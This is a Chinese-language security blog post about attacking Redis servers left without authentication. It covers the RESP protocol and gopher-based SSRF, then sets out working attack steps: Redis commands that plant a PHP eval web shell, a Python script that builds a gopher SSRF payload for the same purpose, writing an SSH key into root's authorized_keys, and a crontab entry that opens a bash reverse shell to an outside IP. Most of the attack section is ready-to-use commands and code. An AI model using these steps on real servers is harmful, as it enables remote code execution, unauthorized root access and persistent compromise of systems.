Redis 未授权

作者: const27 分类: All,杂七杂八的安全问题 发布时间: 2020-06-23 11:29

去年11月就接触到这玩意了,不过那个时候只是随便糊弄一下就过去了,现在好好学学

参考 https://www.redteaming.top/2019/07/15/%E6%B5%85%E6%9E%90Redis%E4%B8%ADSSRF%E7%9A%84%E5%88%A9%E7%94%A8/

Redis默认端口6379
如果存在未授权问题,那么任何人都可以往这台Redis服务器上传输命令

一般Redis攻击有
写shell(最常用),写密钥,写crontab反弹shell, info获得敏感信息,其中写密钥和写crontab不是那么的好用

在讲攻击之前,要讲一下RESP协议

RESP协议

Redis服务器与客户端通过RESP协议的通信。
resp协议从redis1.2引入。
这个协议把服务器与客户端之间的数据以一种序列化的形式处理并传输

在RESP中,某些数据的类型取决于第一个字节:
对于Simple Strings,回复的第一个字节是+
对于error,回复的第一个字节是-
对于Integer,回复的第一个字节是:
对于Bulk Strings,回复的第一个字节是$,发送给服务器的命令就是放在数组中的BulkStrings类型
对于array,回复的第一个字节是*
此外,RESP能够使用稍后指定的Bulk StringsArray的特殊变体来表示Null值。
在RESP中,协议的不同部分始终以"\r\n"(CRLF)结束。

同时每个类型字节后紧跟着该类型的长度,然后是CRLF,然后是该类型的值

说了这么多,肯定不会很懂,上图

即发送的时候,是用三个元素的数组(*3),第一个元素是三个长度的BulkString($3)其值为set,第二个元素是四个长度的BulkSting($4)其值为name,第三个元素是四个长度长的BulkString($4)其值为test,服务器返回SimpleString(+)OK,以下类推

gopher协议

是http协议出现常用的一个协议,SSRF的万金油。

格式:gopher://IP:port/_{TCP/IP数据流}

如何redis远程链接

redis-cli -h ip -p port
xxx.xxx.xxx.xxx:x>AUTH "password"  (未授权就不需要输入密码)

攻击方法一:写shell

写shell的话,redis需执行的命令应该类似这样

如果你能直接redis -h ip -n 6379  未授权连接上redis服务器且权限够高,可以直接输入以下命令
flushall  //清空数据库
set 1 '<?php eval($_GET["cmd"]);?>'   //为键名为1的键赋值
config set dir /var/www/html
config set dbfilename shell.php     //设置数据存储到磁盘时的文件路径
save    //数据库全部保存至磁盘

攻击脚本如下(主要用于ssrf)

#python3
import urllib
protocol="gopher://"
ip="192.168.163.128"
port="6379"
shell="\n\n<?php eval($_GET[\"cmd\"]);?>\n\n"
filename="shell.php"
path="/var/www/html"
passwd=""
cmd=["flushall",
	 "set 1 {}".format(shell.replace(" ","${IFS}")),//这里的IFS替换不是很理解是啥意思..
	 "config set dir {}".format(path),
	 "config set dbfilename {}".format(filename),
	 "save"
	 ]
if passwd:
	cmd.insert(0,"AUTH {}".format(passwd))   //如果需要密码,就把密码输入命令加入到cmd第一位
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
	CRLF="\r\n"
	redis_arr = arr.split(" ")
	cmd=""
	cmd+="*"+str(len(redis_arr))
	for x in redis_arr:
		cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
	cmd+=CRLF
	return cmd

if __name__=="__main__":
	for x in cmd:
		payload += urllib.quote(redis_format(x))
	print(payload)

这样的话,我们就得到了payload,直接curl一下,就写入shell了

攻击方法二:info获取敏感信息

连上后 使用info命令

攻击方法三:写入ssh公钥

高版本不好用,因为高版本的redis权限是无法往/root目录写入的.
而这个方法则需要往/root/.ssh写入ssh公钥达到无密码ssh链接的目的

首先在攻击机上生成一对不需要密码的公钥私钥

将公钥(.pub文件)修改一下保存至一个文件

向受害redis主机添加键值对,值为刚刚我们保存的文件(1.txt)

然后依次输入

config set dir /root/.ssh
config set dirfilename authorized_keys
save

然后ssh免密登录 ssh -i id_rsa root@ip

攻击方法四:利用cron计划任务反弹shell

仅在centos系统奏效,Ubuntu不行

  1. 因为默认redis写文件后是644的权限,但ubuntu要求执行定时任务文件/var/spool/cron/crontabs/<username>权限必须是600也就是-rw-------才会执行,否则会报错(root) INSECURE MODE (mode 0600 expected),而Centos的定时任务文件/var/spool/cron/<username>权限644也能执行
  2. 因为redis保存RDB会存在乱码,在Ubuntu上会报错,而在Centos上不会报错

由于系统的不同,crontrab定时文件位置也会不同
Centos的定时任务文件在/var/spool/cron/<username>
Ubuntu定时任务文件在/var/spool/cron/crontabs/<username>
Centos和Ubuntu均存在的(需要root权限)/etc/crontab PS:高版本的redis默认启动是redis权限,故写这个文件是行不通的

命令如下
set x "\n* * * * * bash -i >& /dev/tcp/192.168.242.131/888 0>&1\n"
config set dir /var/spool/cron/
config set dbfilename root
save

把上面那个脚本改改就能实现ssrf了

如果觉得我的文章对您有用,请随意打赏。您的支持将鼓励我继续创作!

Leave a Reply

Your email address will not be published. Required fields are marked *

标签云